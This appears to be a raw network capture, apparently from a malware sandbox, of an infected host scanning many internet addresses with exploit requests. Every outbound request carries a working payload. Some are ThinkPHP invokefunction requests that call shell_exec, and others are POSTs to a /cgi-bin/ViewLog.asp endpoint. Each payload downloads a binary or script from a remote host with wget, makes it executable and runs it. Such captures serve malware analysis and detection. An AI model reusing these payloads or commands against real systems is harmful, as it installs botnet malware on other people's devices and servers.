Dec 26, 2023 21:25:30.952831984 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:31.117552996 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	34334	95.211.221.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:31.034471989 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:31.273979902 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:31 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	33332	95.101.127.148	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:31.354953051 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:31.597737074 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:31 GMT Date: Tue, 26 Dec 2023 20:25:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 32 34 32 31 35 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 33 31 26 23 34 36 3b 39 31 32 33 33 61 62 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.d2421502.1703622331.91233ab4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	58538	31.136.140.86	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:33.737909079 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:36.778218031 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:42.921367884 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:54.951726913 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	58760	112.163.17.105	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:33.920298100 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	39424	94.126.10.235	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.016881943 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:34.289874077 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	56162	112.163.1.174	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.240447044 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	44634	94.46.22.113	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.253870010 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:34.511550903 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:34 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	59768	94.122.21.172	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.279627085 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	58956	62.29.0.232	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.279712915 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	54548	112.147.41.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.559165955 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:36.170268059 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:36.488492966 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	60892	62.34.72.5	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.704950094 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:37.802120924 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	45010	94.121.155.142	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.751847982 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	42018	94.122.192.241	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.761185884 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	42906	31.200.58.69	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:34.763880968 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	35058	94.187.103.128	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:35.208811998 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	39462	94.126.10.235	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:35.282792091 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
